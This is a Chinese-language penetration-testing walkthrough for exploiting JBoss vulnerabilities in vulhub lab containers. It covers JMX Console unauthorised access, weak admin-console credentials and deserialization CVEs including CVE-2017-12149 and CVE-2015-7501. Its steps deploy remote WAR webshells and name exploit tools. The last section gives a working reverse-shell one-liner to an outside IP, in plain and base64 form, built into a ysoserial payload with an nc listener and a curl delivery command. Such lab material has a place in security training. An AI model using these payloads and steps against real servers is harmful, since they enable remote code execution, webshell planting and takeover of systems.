vulhub Jboss 漏洞攻略
一:Jboss 低版本JMX Console未授权(CVE-2017-7504 )
漏洞描述
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到 jmx控制台,并在其中执⾏任何功能。
影响范围
Jboss4.x以下
环境搭建
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
漏洞复现
1.访问
http://172.16.1.78:8080/jmx-console/
2.这⾥我们使⽤得复现环境不存在,所以需要密码(正常环境⽆需密码直接可进⼊)
admin admin
3.然后找到jboss.deployment (jboss ⾃带得部署功能) 中的flavor=URL,type=DeploymentScanner点进去(通过URL的⽅式远程部署)
4.找到⻚⾯中的void addURL() 选项远程加载war包来部署。
5.制作war包 填写war包远程地址
http://47.113.231.0/shw.war
6.webshell连接
http://172.16.1.78:8080/shw/shell.jsp
二:Jboss ⾼版本JMX Console未授权(CVE-2017-12149 )
漏洞描述
JMX Console默认存在未授权访问,直接点击JBoss主⻚中的 JMX Console 链接进⼊JMX Console⻚⾯, 通过部署war包 , getshell
影响版本
Jboss6.x以下
环境搭建
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
漏洞复现
http://172.16.1.81:8080/jmx-console/
因为使⽤环境不存在该漏洞所以需要输⼊账户密码:admin vulhub
1.本地搭建部署点
在JMX Console⻚⾯点击jboss.system链接,在Jboss.system⻚⾯中点击service=MainDeployer,如下
2.进⼊service=MainDeployer⻚⾯之后,找到methodIndex为17或19的deploy 填写远程war包地址进⾏远程部署
3.搭建远程部署 , 部署远程war包地址
4.输⼊Invoke
http://47.113.231.0/shw.war
点击Invoke
5.连接Webshell
http://172.16.1.78:8080/shw/shell.jsp
三:Jboss Administration Console弱⼝令(CVE-2017-12149 )
漏洞描述
Administration Console管理⻚⾯存在弱⼝令,`admin:admin`,登陆后台上传war包 , getshell
影响版本
全版本
环境搭建
因为这⾥⽤的环境是CVE-2017-12149的靶机
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
密码⽂件
/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties
账户密码:admin:vulhub
漏洞复现
http://172.16.1.81:8080/admin-console/login.seam
1.登录后台
admin vulhub
2.点击web应⽤
3.上传后⻔ shell.war
4.连接WebShell
http://172.16.1.81:8080/shell/shell.jsp
四:Jboss CVE-2017-12149
漏洞简述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进⾏任何安全检查的情况下尝试将来⾃客户端的数据流进⾏反序列化,从⽽导致了漏洞
漏洞范围
JBoss 5.x/6.x
环境搭建
cd vulhub-master/jboss/CVE-2017-12149
docker-compose up -d
漏洞复现
1.访问漏洞⻚⾯
2.验证是否存在漏洞 , 访问
http://172.16.1.81:8080/invoker/readonly
该漏洞出现在/invoker/readonly中 ,服务器将⽤户post请求内容进⾏反序列化
返回500,说明⻚⾯存在,此⻚⾯存在反序列化漏洞
3. 使⽤⼯具进⾏检测 DeserializeExploit 如果成功直接上传webshell即可:
⼯具:
https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
也可以直接执⾏命令:https://github.com/yunxu1/jboss-_CVE-2017-12149
五:Jboss CVE-2017-7504
漏洞介绍
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的
HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码执⾏
影响范围
JBoss 4.x 以及之前的所有版本
环境搭建
cd vulhub-master/jboss/CVE-2017-7504
docker-compose up -d
漏洞复现
1.访问漏洞地址
172.16.1.81:8080/jbossmq-httpil/HTTPServerILServlet
2.获取shell
python3 jexboss.py -u http://172.16.1.81:8080/
六:Jboss CVE-2015-7501
漏洞介绍
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了⽤户传⼊的对象,然后我们利⽤Apache Commons Collections中的 Gadget 执⾏任意代码
影响范围
JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
环境搭建
cd vulhub-master/jboss/JMXInvokerServlet-deserialization
docker-compose up -d
漏洞复现
http://172.16.1.78:8080/
1.POC,访问地址
172.16.1.78:8080/invoker/JMXInvokerServlet
返回如下,说明接⼝开放,此接⼝存在反序列化漏洞
2.下载 ysoserial ⼯具进⾏漏洞利⽤
https://github.com/frohoff/ysoserial
将反弹shell进⾏base64编码
bash -i >& /dev/tcp/47.113.231.0/6666 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMjMxLjAvNjY2NiAwPiYx
java8 -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTMuMjMxLjAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}">exp.ser
3.服务器设置监听得端⼝
nc -lvvp 6666
4.执⾏命令
curl 172.16.1.81:8080/invoker/JMXInvokerServlet --data-binary @exp.ser
5.反弹成功